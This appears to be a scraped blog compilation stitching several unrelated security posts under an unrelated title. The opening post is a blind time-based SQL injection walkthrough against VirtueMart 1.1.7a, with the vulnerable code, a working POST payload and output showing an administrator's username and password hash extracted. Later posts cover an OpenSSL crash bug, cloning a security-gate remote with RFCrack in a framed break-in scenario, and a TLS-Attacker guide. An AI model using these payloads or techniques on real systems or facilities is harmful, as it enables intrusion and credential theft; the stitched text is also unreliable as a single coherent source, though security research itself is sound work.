Mrs. King - School Year 2010-2011

Thursday, May 21, 2020

Bit Banging Your Database

This post will be about stealing data from a database one bit at a time. Most of the time pulling data from a database a bit at a time would not be ideal or desirable, but in certain cases it will work just fine. For instance when dealing with a blind time based sql injection. To bring anyone who is not aware of what a "blind time based" sql injection is up to speed - this is a condition where it is possible to inject into a sql statement that is executed by the database, but the application gives no indication about the result of the query. This is normally exploited by injecting boolean statements into a query and making the database pause for a determined about of time before returning a response. Think of it as playing a game "guess who" with the database.

Now that we have the basic idea out of the way we can move onto how this is normally done and then onto the target of this post. Normally a sensitive item in the database is targeted, such as a username and password. Once we know where this item lives in the database we would first determine the length of the item, so for example an administrator's username. All examples below are being executed on an mysql database hosting a Joomla install. Since the example database is a Joomla web application database, we would want to execute a query like the following on the database:
select length(username) from jos_users where usertype = 'Super Administrator';
Because we can't return the value back directly we have to make a query like the following iteratively:

select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
select if(length(username)=2,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
We would keep incrementing the number we compare the length of the username to until the database paused (benchmark function hit). In this case it would be 5 requests until our statement was true and the benchmark was hit. 

Examples showing time difference:
 mysql> select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.00 sec)
mysql> select if(length(username)=5,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.85 sec)
Now in the instance of the password, the field is 65 characters long, so it would require 65 requests to discover the length of the password using this same technique. This is where we get to the topic of the post, we can actually determine the length of any field in only 8 requests (up to 255). By querying the value bit by bit we can determine if a bit is set or not by using a boolean statement again. We will use the following to test each bit of our value: 

Start with checking the most significant bit and continue to the least significant bit, value is '65':
value & 128 
01000001
10000000
-----------
00000000 

value & 64
01000001
01000000
-----------
01000000
value & 32
01000001
00100000
-----------
00000000
value & 16
01000001
00010000
--------
00000000
value & 8
01000001
00001000
--------
00000000

value & 4
01000001
00000100
-----------
00000000
value & 2
01000001
00000010
-----------
00000000
value & 1
01000001
00000001
-----------
00000001
The items that have been highlighted in red identify where we would have a bit set (1), this is also the what we will use to satisfy our boolean statement to identify a 'true' statement. The following example shows the previous example being executed on the database, we identify set bits by running a benchmark to make the database pause:

mysql> select if(length(password) & 128,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)
mysql> select if(length(password) & 64,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (7.91 sec)

mysql> select if(length(password) & 32,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 16,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 8,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 4,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 2,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 1,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (8.74 sec)
As you can see, whenever we satisfy the boolean statement we get a delay in our response, we can mark that bit as being set (1) and all others as being unset (0). This gives us 01000001 or 65. Now that we have figured out how long our target value is we can move onto extracting its value from the database. Normally this is done using a substring function to move through the value character by character. At each offset we would test its value against a list of characters until our boolean statement was satisfied, indicating we have found the correct character. Example of this:

select if(substring(password,1,1)='a',benchmark(50000000,md5('cc')),0) as query from jos_users;
This works but depending on how your character set that you are searching with is setup can effect how many requests it will take to find a character, especially when considering case sensitive values. Consider the following password hash:
da798ac6e482b14021625d3fad853337skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL
If you searched for this string a character at a time using the following character scheme [0-9A-Za-z] it would take about 1400 requests. If we apply our previous method of extracting a bit at a time we will only make 520 requests (65*8). The following example shows the extraction of the first character in this password:

mysql> select if(ord(substring(password,1,1)) & 128,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 64,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)
mysql> select if(ord(substring(password,1,1)) & 32,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.93 sec)
mysql> select if(ord(substring(password,1,1)) & 16,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 8,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 4,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)
mysql> select if(ord(substring(password,1,1)) & 2,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 1,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
Again I have highlighted the requests where the bit was set in red. According to these queries the value is 01100100 (100) which is equal to 'd'. The offset of the substring would be incremented and the next character would be found until we reached the length of the value that we found earlier.

Now that the brief lesson is over we can move on to actually exploiting something using this technique. Our target is Virtuemart. Virtuemart is a free shopping cart module for the Joomla platform. Awhile back I had found an unauthenticated sql injection vulnerability in version 1.1.7a. This issue was fixed promptly by the vendor (...I was amazed) in version 1.1.8. The offending code was located in "$JOOMLA/administrator/components/com_virtuemart/notify.php" :


          if($order_id === "" || $order_id === null)
          {
                        $vmLogger->debug("Could not find order ID via invoice");
                        $vmLogger->debug("Trying to get via TransactionID: ".$txn_id);
                       
$qv = "SELECT * FROM `#__{vm}_order_payment` WHERE `order_payment_trans_id` = '".$txn_id."'";
                        $db->query($qv);
                        print($qv);
                        if( !$db->next_record()) {
                                $vmLogger->err("Error: No Records Found.");
                        }
The $txn_id variable is set by a post variable of the same name. The following example will cause the web server to delay before returning:


POST /administrator/components/com_virtuemart/notify.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
invoice=1&txn_id=1' or benchmark(50000000,md5('cc'));#  
Now that an insertion point has been identified we can automate the extraction of the "Super Administrator" account from the system:
python vm_own.py "http://192.168.18.131/administrator/components/com_virtuemart/notify.php"
[*] Getting string length
[+] username length is:5
[+] username:admin
[*] Getting string length
[+] password length is:65
[+] password:da798ac6e482b14021625d3fad853337:skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL
The "vm_own.py" script can be downloaded here.


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Wednesday, May 20, 2020

How To Start | How To Become An Ethical Hacker

Are you tired of reading endless news stories about ethical hacking and not really knowing what that means? Let's change that!
This Post is for the people that:

  • Have No Experience With Cybersecurity (Ethical Hacking)
  • Have Limited Experience.
  • Those That Just Can't Get A Break


OK, let's dive into the post and suggest some ways that you can get ahead in Cybersecurity.
I receive many messages on how to become a hacker. "I'm a beginner in hacking, how should I start?" or "I want to be able to hack my friend's Facebook account" are some of the more frequent queries. Hacking is a skill. And you must remember that if you want to learn hacking solely for the fun of hacking into your friend's Facebook account or email, things will not work out for you. You should decide to learn hacking because of your fascination for technology and your desire to be an expert in computer systems. Its time to change the color of your hat 😀

 I've had my good share of Hats. Black, white or sometimes a blackish shade of grey. The darker it gets, the more fun you have.

If you have no experience don't worry. We ALL had to start somewhere, and we ALL needed help to get where we are today. No one is an island and no one is born with all the necessary skills. Period.OK, so you have zero experience and limited skills…my advice in this instance is that you teach yourself some absolute fundamentals.
Let's get this party started.
  •  What is hacking?
Hacking is identifying weakness and vulnerabilities of some system and gaining access with it.
Hacker gets unauthorized access by targeting system while ethical hacker have an official permission in a lawful and legitimate manner to assess the security posture of a target system(s)

 There's some types of hackers, a bit of "terminology".
White hat — ethical hacker.
Black hat — classical hacker, get unauthorized access.
Grey hat — person who gets unauthorized access but reveals the weaknesses to the company.
Script kiddie — person with no technical skills just used pre-made tools.
Hacktivist — person who hacks for some idea and leaves some messages. For example strike against copyright.
  •  Skills required to become ethical hacker.
  1. Curosity anf exploration
  2. Operating System
  3. Fundamentals of Networking
*Note this sites





Continue reading


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TLS V1.2 Sigalgs Remote Crash (CVE-2015-0291)


OpenSSL 1.0.2a fix several security issues, one of them let crash TLSv1.2 based services remotelly from internet.


Regarding to the TLSv1.2 RFC,  this version of TLS provides a "signature_algorithms" extension for the client_hello. 

Data Structures


If a bad signature is sent after the renegotiation, the structure will be corrupted, becouse structure pointer:
s->c->shared_sigalgs will be NULL, and the number of algorithms:
s->c->shared_sigalgslen will not be zeroed.
Which will be interpreted as one algorithm to process, but the pointer points to 0x00 address. 


Then tls1_process_sigalgs() will try to process one signature algorithm (becouse of shared_sigalgslen=1) then sigptr will be pointer to c->shared_sigalgs (NULL) and then will try to derreference sigptr->rhash. 


This mean a Segmentation Fault in  tls1_process_sigalgs() function, and called by tls1_set_server_sigalgs() with is called from ssl3_client_hello() as the stack trace shows.




StackTrace

The following code, points sigptr to null and try to read sigptr->rsign, which is assembled as movzbl eax,  byte ptr [0x0+R12] note in register window that R12 is 0x00

Debugger in the crash point.


radare2 static decompiled


The patch fix the vulnerability zeroing the sigalgslen.
Get  David A. Ramos' proof of concept exploit here





More information


Hacking Everything With RF And Software Defined Radio - Part 3


Reversing Device Signals with RFCrack for Red Teaming


This blog was researched and automated by:
@Ficti0n 
@GarrGhar 
Mostly because someone didn't want to pay for a new clicker that was lost LOL

Websites:
Console Cowboys: http://consolecowboys.com 
CC Labs: http://cclabs.io

CC Labs Github for RFCrack Code:
https://github.com/cclabsInc/RFCrack


Contrived Scenario: 

Bob was tasked to break into XYZ  corporation, so he pulled up the facility on google maps to see what the layout was. He was looking for any possible entry paths into the company headquarters. Online maps showed that the whole facility was surrounded by a security access gate. Not much else could be determined remotely so bob decided to take a drive to the facility and get a closer look. 

Bob parked down the street in view of the entry gate. Upon arrival he noted the gate was un-manned and cars were rolling up to the gate typing in an access code or simply driving up to the gate as it opening automatically.  Interestingly there was some kind of wireless technology in use. 

How do we go from watching a car go through a gate, to having a physical device that opens the gate?  

We will take a look at reversing a signal from an actual gate to program a remote with the proper RF signal.  Learning how to perform these steps manually to get a better understanding of how RF remotes work in conjunction with automating processes with RFCrack. 

Items used in this blog: 

Garage Remote Clicker: https://goo.gl/7fDQ2N
YardStick One: https://goo.gl/wd88sr
RTL SDR: https://goo.gl/B5uUAR


 







Walkthrough Video: 




Remotely sniffing signals for later analysis: 

In the the previous blogs, we sniffed signals and replayed them to perform actions. In this blog we are going to take a look at a signal and reverse it to create a physical device that will act as a replacement for the original device. Depending on the scenario this may be a better approach if you plan to enter the facility off hours when there is no signal to capture or you don't want to look suspicious. 

Recon:

Lets first use the scanning functionality in RFCrack to find known frequencies. We need to understand the frequencies that gates usually use. This way we can set our scanner to a limited number of frequencies to rotate through. The smaller rage of frequencies used will provide a better chance of capturing a signal when a car opens the target gate. This would be beneficial if the scanning device is left unattended within a dropbox created with something like a Kali on a Raspberry Pi. One could access it from a good distance away by setting up a wifi hotspot or cellular connection.

Based on research remotes tend to use 315Mhz, 390Mhz, 433Mhz and a few other frequencies. So in our case we will start up RFCrack on those likely used frequencies and just let it run. We can also look up the FCID of our clicker to see what Frequencies manufactures are using. Although not standardized, similar technologies tend to use similar configurations. Below is from the data sheet located at https://fccid.io/HBW7922/Test-Report/test-report-1755584 which indicates that if this gate is compatible with a universal remote it should be using the 300,310, 315, 372, 390 Frequencies. Most notably the 310, 315 and 390 as the others are only on a couple configurations. 




RFCrack Scanning: 

Since the most used ranges are 310, 315, 390 within our universal clicker, lets set RFCrack scanner to rotate through those and scan for signals.  If a number of cars go through the gate and there are no captures we can adjust the scanner later over our wifi connection from a distance. 

Destroy:RFCrack ficti0n$ python RFCrack.py -k -f 310000000 315000000 390000000
Currently Scanning: 310000000 To cancel hit enter and wait a few seconds

Currently Scanning: 315000000 To cancel hit enter and wait a few seconds

Currently Scanning: 390000000 To cancel hit enter and wait a few seconds

e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000
Currently Scanning: 433000000 To cancel hit enter and wait a few seconds


Example of logging output: 

From the above output you will see that a frequency was found on 390. However, if you had left this running for a few hours you could easily see all of the output in the log file located in your RFCrack/scanning_logs directory.  For example the following captures were found in the log file in an easily parseable format: 

Destroy:RFCrack ficti0n$ cd scanning_logs/
Destroy:scanning_logs ficti0n$ ls
Dec25_14:58:45.log Dec25_21:17:14.log Jan03_20:12:56.log
Destroy:scanning_logs ficti0n$ cat Dec25_21\:17\:14.log
A signal was found on :390000000
c0000000000000000000000000008000000000000ef801fe003fe0fffc1fff83fff07ffe0007c0000000000000000000000000000000000000000000001c0000000000000000050003fe0fbfc1fffc3fff83fff0003e00000000000000000000000000000000000000000000007c1fff83fff003fe007fc00ff83fff07ffe0fffc1fff8001f00000000000000000000000000000000000000000000003e0fffc1fff801ff003fe007fc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000001f07ffe0dffc00ff803ff007fe0fffc1fff83fff07ffe0007c000000000000000000000000000000000000000000
A signal was found on :390000000
e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000



Analyzing the signal to determine toggle switches: 

Ok sweet, now we have a valid signal which will open the gate. Of course we could just replay this and open the gate, but we are going to create a physical device we can pass along to whoever needs entry regardless if they understand RF. No need to fumble around with a computer and look suspicious.  Also replaying a signal with RFCrack is just to easy, nothing new to learn taking the easy route. 

The first thing we are going to do is graph the capture and take a look at the wave pattern it creates. This can give us a lot of clues that might prove beneficial in figuring out the toggle switch pattern found in remotes. There are a few ways we can do this. If you don't have a yardstick at home you can capture the initial signal with your cheap RTL-SDR dongle as we did in the first RF blog. We could then open it in audacity. This signal is shown below. 



Let RFCrack Plot the Signal For you: 

The other option is let RFCrack help you out by taking a signal from the log output above and let RFCrack plot it for you.  This saves time and allows you to use only one piece of hardware for all of the work.  This can easily be done with the following command: 

Destroy:RFCrack ficti0n$ python RFCrack.py -n -g -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c
-n = No yardstick attached
-g = graph a single signal
-u = Use this piece of data




From the graph output we see 2 distinct crest lengths and some junk at either end we can throw away. These 2 unique crests correspond to our toggle switch positions of up/down giving us the following 2 possible scenarios using a 9 toggle switch remote based on the 9 crests above: 

Possible toggle switch scenarios:

  1. down down up up up down down down down
  2. up up down down down up up up up 

Configuring a remote: 

Proper toggle switch configuration allows us to program a universal remote that sends a signal to the gate. However even with the proper toggle switch configuration the remote has many different signals it sends based on the manufacturer or type of signal.  In order to figure out which configuration the gate is using without physically watching the gate open, we will rely on local signal analysis/comparison.  

Programming a remote is done by clicking the device with the proper toggle switch configuration until the gate opens and the correct manufacturer is configured. Since we don't have access to the gate after capturing the initial signal we will instead compare each signal from he remote to the original captured signal. 


Comparing Signals: 

This can be done a few ways, one way is to use an RTLSDR and capture all of the presses followed by visually comparing the output in audacity. Instead I prefer to use one tool and automate this process with RFCrack so that on each click of the device we can compare a signal with the original capture. Since there are multiple signals sent with each click it will analyze all of them and provide a percent likelihood of match of all the signals in that click followed by a comparing the highest % match graph for visual confirmation. If you are seeing a 80-90% match you should have the correct signal match.  

Note:  Not every click will show output as some clicks will be on different frequencies, these don't matter since our recon confirmed the gate is communicating on 390Mhz. 

In order to analyze the signals in real time you will need to open up your clicker and set the proper toggle switch settings followed by setting up a sniffer and live analysis with RFCrack: 

Open up 2 terminals and use the following commands: 

#Setup a sniffer on 390mhz
  Setup sniffer:      python RFCrack.py -k -c -f 390000000.     
#Monitor the log file, and provide the gates original signal
  Setup Analysis:     python RFCrack.py -c -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c -n.  

Cmd switches used
-k = known frequency
-c = compare mode
-f = frequency
-n = no yardstick needed for analysis

Make sure your remote is configured for one of the possible toggle configurations determined above. In the below example I am using the first configuration, any extra toggles left in the down position: (down down up up up down down down down)




Analyze Your Clicks: 

Now with the two terminals open and running click the reset switch to the bottom left and hold till it flashes. Then keep clicking the left button and viewing the output in the sniffing analysis terminal which will provide the comparisons as graphs are loaded to validate the output.  If you click the device and no output is seen, all that means is that the device is communicating on a frequency which we are not listening on.  We don't care about those signals since they don't pertain to our target. 

At around the 11th click you will see high likelihood of a match and a graph which is near identical. A few click outputs are shown below with the graph from the last output with a 97% match.  It will always graph the highest percentage within a click.  Sometimes there will be blank graphs when the data is wacky and doesn't work so well. This is fine since we don't care about wacky data. 

You will notice the previous clicks did not show even close to a match, so its pretty easy to determine which is the right manufacture and setup for your target gate. Now just click the right hand button on the remote and it should be configured with the gates setup even though you are in another location setting up for your test. 

For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.05
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.12
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.20
Percent Chance of Match for press is: 0.19
Percent Chance of Match for press is: 0.25
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.97
Percent Chance of Match for press is: 0.90
Percent Chance of Match for press is: 0.88
Percent Chance of Match for press is: 0.44
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png


Graph Comparison Output for 97% Match: 







Conclusion: 


You have now walked through successfully reversing a toggle switch remote for a security gate. You took a raw signal and created a working device using only a Yardstick and RFCrack.  This was just a quick tutorial on leveraging the skillsets you gained in previous blogs in order to learn how to analyze  RF signals within embedded devices. There are many scenarios these same techniques could assist in.  We also covered a few new features in RF crack regarding logging, graphing and comparing signals.  These are just a few of the features which have been added since the initial release. For more info and other features check the wiki. 
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Tuesday, May 19, 2020

Playing With TLS-Attacker

In the last two years, we changed the TLS-Attacker Project quite a lot but kept silent about most changes we implemented. Since we do not have so much time to keep up with the documentation (we are researchers and not developers in the end), we thought about creating a small series on some of our recent changes to the project on this blog.


We hope this gives you an idea on how to use the most recent version (TLS-Attacker 2.8). If you feel like you found a bug, don't hesitate to contact me via GitHub/Mail/Twitter. This post assumes that you have some idea what this is all about. If you have no idea, checkout the original paper from Juraj or our project on GitHub.

TLDR: TLS-Attacker is a framework which allows you to send arbitrary protocol flows.


Quickstart:
# Install & Use Java JDK 8
$ sudo apt-get install maven
$ git clone https://github.com/RUB-NDS/TLS-Attacker
$ cd TLS-Attacker
$ mvn clean package

So, what changed since the release of the original paper in 2016? Quite a lot! We discovered that we could make the framework much more powerful by adding some new concepts to the code which I want to show you now.

Action System

In the first Version of TLS-Attacker (1.x), WorkflowTraces looked like this:
Although this design looks straight forward, it lacks flexibility. In this design, a WorkflowTrace is basically a list of messages. Each message is annotated with a <messageIssuer>, to tell TLS-Attacker that it should either try to receive this message or send it itself. If you now want to support more advanced workflows, for example for renegotiation or session resumption, TLS-Attacker will soon reach its limits. There is also a missing angle for fuzzing purposes. TLS-Attacker will by default try to use the correct parameters for the message creation, and then apply the modifications afterward. But what if we want to manipulate parameters of the connection which influence the creation of messages? This was not possible in the old version, therefore, we created our action system. With this action system, a WorkflowTrace does not only consist of a list of messages but a list of actions. The most basic actions are the Send- and ReceiveAction. These actions allow you to basically recreate the previous behavior of TLS-Attacker 1.x . Here is an example to show how the same workflow would look like in the newest TLS-Attacker version:


As you can see, the <messageIssuer> tags are gone. Instead, you now indicate with the type of action how you want to deal with the message. Another important thing: TLS-Attacker uses WorkflowTraces as an input as well as an output format. In the old version, once a WorkflowTrace was executed it was hard to see what actually happened. Especially, if you specify what messages you expect to receive. In the old version, your WorkflowTrace could change during execution. This was very confusing and we, therefore, changed the way the receiving of messages works. The ReceiveAction has a list of <expectedMessages>. You can specify what you expect the other party to do. This is mostly interesting for performance tricks (more on that in another post), but can also be used to validate that your workflow executedAsPlanned. Once you execute your ReceiveAction an additional <messages> tag will pop up in the ReceiveAction to show you what has actually been observed. Your original WorkflowTrace stays intact.


During the execution, TLS-Attacker will execute the actions one after the other. There are specific configuration options with which you can control what TLS-Attacker should do in the case of an error. By default, TLS-Attacker will never stop, and just execute whatever is next.

Configs

As you might have seen the <messageIssuer> tags are not the only thing which is missing. Additionally, the cipher suites, compression algorithms, point formats, and supported curves are missing. This is no coincidence. A big change in TLS-Attacker 2.x is the separation of the WorkflowTrace from the parameter configuration and the context. To explain how this works I have to talk about how the new TLS-Attacker version creates messages. Per default, the WorkflowTrace does not contain the actual contents of the messages. But let us step into TLS-Attackers point of view. For example, what should TLS-Attacker do with the following WorkflowTrace:

Usually, the RSAClientKeyExchange message is constructed with the public key from the received certificate message. But in this WorkflowTrace, we did not receive a certificate message yet. So what public key are we supposed to use? The previous version had "some" key hardcoded. The new version does not have these default values hardcoded but allows you as the user to define the default values for missing values, or how our own messages should be created. For this purpose, we introduced the new concept of Configs. A Config is a file/class which you can provide to TLS-Attacker in addition to a WorkflowTrace, to define how TLS-Attacker should behave, and how TLS-Attacker should create its messages (even in the absence of needed parameters). For this purpose, TLS-Attacker has a default Config, with all the known hardcoded values. It is basically a long list of possible parameters and configuration options. We chose sane values for most things, but you might have other ideas on how to do things. You can execute a WorkflowTrace with a specific config. The provided Config will then overwrite all existing default values with your specified values. If you do not specify a certain value, the default value will be used. I will get back to how Configs work, once we played a little bit with TLS-Attacker.

TLS-Attacker ships with a few example applications (found in the "apps/" folder after you built the project). While TLS-Attacker 1.x was mostly a standalone tool, we currently see TLS-Attacker more as a library which we can use by our more sophisticated projects. The current example applications are:
  • TLS-Client (A TLS-Client to execute WorkflowTraces with)
  • TLS-Server (A TLS-Server to execute WorkflowTraces with)
  • Attacks (We'll talk about this in another blog post)
  • TLS-Forensics (We'll talk about this in another blog post)
  • TLS-Mitm (We'll talk about this in another blog post)
  • TraceTool (We'll talk about this in another blog post) 

TLS-Client

The TLS-Client is a simple TLS-Client. Per default, it executes a handshake for the default selected cipher suite (RSA). The only mandatory parameter is the server you want to connect to (-connect).

The most trivial command you can start it with is:

Note: The example tool does not like "https://" or other protocol information. Just provide a hostname and port

Depending on the host you chose your output might look like this:

or like this:

So what is going on here? Let's start with the first execution. As I already mentioned. TLS-Attacker constructs the default WorkflowTrace based on the default selected cipher suite. When you run the client, the WorkflowExecutor (part of TLS-Attacker which is responsible for the execution of a WorkflowTrace) will try to execute the handshake. For this purpose, it will first start the TCP connection.
This is what you see here:

After that, it will execute the actions specified in the default WorkflowTrace. The default WorkflowTrace looks something like this:
This is basically what you see in the console output. The first action which gets executed is the SendAction with the ClientHello.

Then, we expect to receive messages. Since we want to be an RSA handshake, we do not expect a ServerKeyExchange message, but only want a ServerHello, Certificate and a ServerHelloDone message.

We then execute the second SendAction:

and finally, we want to receive a ChangeCipherSpec and Finished Message:

In the first execution, these steps all seem to have worked. But why did they fail in the second execution? The reason is that our default Config does not only allow specify RSA cipher suites but creates ClientHello messages which also contain elliptic curve cipher suites. Depending on the server you are testing with, the server will either select and RSA cipher suite, or an elliptic curve one. This means, that the WorkflowTrace will not executeAsPlanned. The server will send an additional ECDHEServerKeyExchange. If we would look at the details of the ServerHello message we would also see that an (ephemeral) elliptic curve cipher suite is selected:

Since our WorkflowTrace is configured to send an RSAClientKeyExchange message next, it will just do that:

Note: ClientKeyExchangeMessage all have the same type field, but are implemented inside of TLS-Attacker as different messages

Since this RSAClientKeyExchange does not make a lot of sense for the server, it rejects this message with a DECODE_ERROR alert:

If we would change the Config of TLS-Attacker, we could change the way our ClientHello is constructed. If we specify only RSA cipher suites, the server has no choice but to select an RSA one (or immediately terminate the connection). We added command line flags for the most common Config changes. Let's try to change the default cipher suite to TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:

As you can see, we now executed a complete ephemeral elliptic curve handshake. This is, because the -cipher flag changed the <defaultSelectedCiphersuite> parameter (among others) in the Config. Based on this parameter the default WorkflowTrace is constructed. If you want, you can specify multiple cipher suites at once, by seperating them with a comma.

We can do the same change by supplying TLS-Attacker with a custom Config via XML. To this we need to create a new file (I will name it config.xml) like this:

You can then load the Config with the -config flag:

For a complete reference of the supported Config options, you can check out the default_config.xml. Most Config options should be self-explanatory, for others, you might want to check where and how they are used in the code (sorry).

Now let's try to execute an arbitrary WorkflowTrace. To do this, we need to store our WorkflowTrace in a file and load it with the -workflow_input parameter. I just created the following WorkflowTrace:


As you can see I just send a ServerHello message instead of a ClientHello message at the beginning of the handshake. This should obviously never happen but let's see how the tested server reacts to this.
We can execute the workflow with the following command:

The server (correctly) responded with an UNEXPECTED_MESSAGE alert. Great!

Output parameters & Modifications

You are now familiar with the most basic concepts of TLS-Attacker, so let's dive into other things TLS-Attacker can do for you. As a TLS-Attacker user, you are sometimes interested in the actual values which are used during a WorkflowTrace execution. For this purpose, we introduced the -workflow_output flag. With this parameter, you can ask TLS-Attacker to store the executed WorkflowTrace with all its values in a file.
Let's try to execute our last created WorkflowTrace, and store the output WorkflowTrace in the file out.xml:


The resulting WorkflowTrace looks like this:

As you can see, although the input WorkflowTrace was very short, the output trace is quite noisy. TLS-Attacker will display all its intermediate values and modification points (this is where the modifiable variable concept becomes interesting). You can also execute the output workflow again.


Note that at this point there is a common misunderstanding: TLS-Attacker will reset the WorkflowTrace before it executes it again. This means, it will delete all intermediate values you see in the WorkflowTrace and recompute them dynamically. This means that if you change a value within <originalValue> tags, your changes will just be ignored. If you want to influence the values TLS-Attacker uses, you either have to manipulate the Config (as already shown) or apply modifications to TLS-Attackers ModifiableVariables. The concept of ModifiableVariables is mostly unchanged to the previous version, but we will show you how to do this real quick anyway.

So let us imagine we want to manipulate a value in the WorkflowTrace using a ModifiableVariable via XML. First, we have to select a field which we want to manipulate. I will choose the protocol version field in the ServerHello message we sent. In the WorkflowTrace this looked like this:

For historical reasons, 0x0303 means TLS 1.2. 0x0300 was SSL 3. When they introduced TLS 1.0 they chose 0x0301 and since then they just upgraded the minor version.

In order to manipulate this ModifiableVariable, we first need to know its type. In some cases it is currently non-trivial to determine the exact type, this is mostly undocumented (sorry). If you don't know the exact type of a field you currently have to look at the code. The following types and modifications are defined:
  • ModifiableBigInteger: add, explicitValue, shiftLeft, shiftRight, subtract, xor
  • ModifiableBoolean: explicitValue, toggle
  • ModifiableByteArray: delete, duplicate, explicitValue, insert, shuffle, xor
  • ModifiableInteger: add, explicitValue, shiftLeft, shiftRight, subtract, xor
  • ModifiableLong: add, explicitValue, subtract, xor
  • ModifiableByte: add, explicitValue, subtract, xor
  • ModifiableString: explicitValue
As a rule of thumb: If the value is only up to 1 byte of length we use a ModifiableByte. If the value is up to 4 bytes of length, but the values are used as a normal number (for example in length fields) it is a ModifiableInteger. Fields which are used as a number which are bigger than 4 bytes (for example a modulus) is usually a ModifiableBigInteger. Most other types are encoded as ModifiableByteArrays. The other types are very rare (we are currently working on making this whole process more transparent).
Once you have found your type you have to select a modification to apply to it. For manual analysis, the most common modifications are the XOR modification and the explicit value modification. However, during fuzzing other modifications might be useful as well. Often times you just want to flip a bit and see how the server responds, or you want to directly overwrite a value. In this example, we want to overwrite a value.
Let us force TLS-Attacker to send the version 0x3A3A. To do this I consult the ModifiableVariable README.md for the exact syntax. Since <protocolVersion> is a ModifiableByteArray I search in the ByteArray section.

I find the following snippet:

If I now want to change the value to 0x3A3A I modify my WorkflowTrace like this:

You can then execute the WorkflowTrace with:

With Wireshark you can now observe  that the protocol version got actually changed. You would also see the change if you would specify a -workflow_output or if you start the TLS-Client with the -debug flag.

More Actions

As I already hinted, TLS-Attacker has more actions to offer than just a basic Send- and ReceiveAction (50+ in total). The most useful, and easiest to understand actions are now introduced:

ActivateEncryptionAction

This action does basically what the CCS message does. It activates the currently "negotiated" parameters. If necessary values are missing in the context of the connection, they are drawn from the Config.


DeactivateEncryptionAction

This action does the opposite. If the encryption was active, we now send unencrypted again.


PrintLastHandledApplicationDataAction

Prints the last application data message either sent or received.


PrintProposedExtensionsAction

Prints the proposed extensions (from the client)


PrintSecretsAction

Prints the secrets (RSA) from the current connection. This includes the nonces, cipher suite, public key, modulus, premaster secret, master secret and verify data.


RenegotiationAction

Resets the message digest. This is usually done if you want to perform a renegotiation.


ResetConnectionAction

Closes and reopens the connection. This can be useful if you want to analyze session resumption or similar things which involve more than one handshake.


SendDynamicClientKeyExchangeAction

Send a ClientKeyExchange message, and always chooses the correct one (depending on the current connection state). This is useful if you just don't care about the actual cipher suite and just want the handshake done.


SendDynamicServerKeyExchangeAction

(Maybe) sends a ServerKeyExchange message. This depends on the currently selected cipher suite. If the cipher suite requires the transmission of a ServerKeyExchange message, then a ServerKeyExchange message will be sent, otherwise, nothing is done. This is useful if you just don't care about the actual cipher suite and just want the handshake done.


WaitAction

This lets TLS-Attacker sleep for a specified amount of time (in ms).





As you might have already seen there is so much more to talk about in TLS-Attacker. But this should give you a rough idea of what is going on.

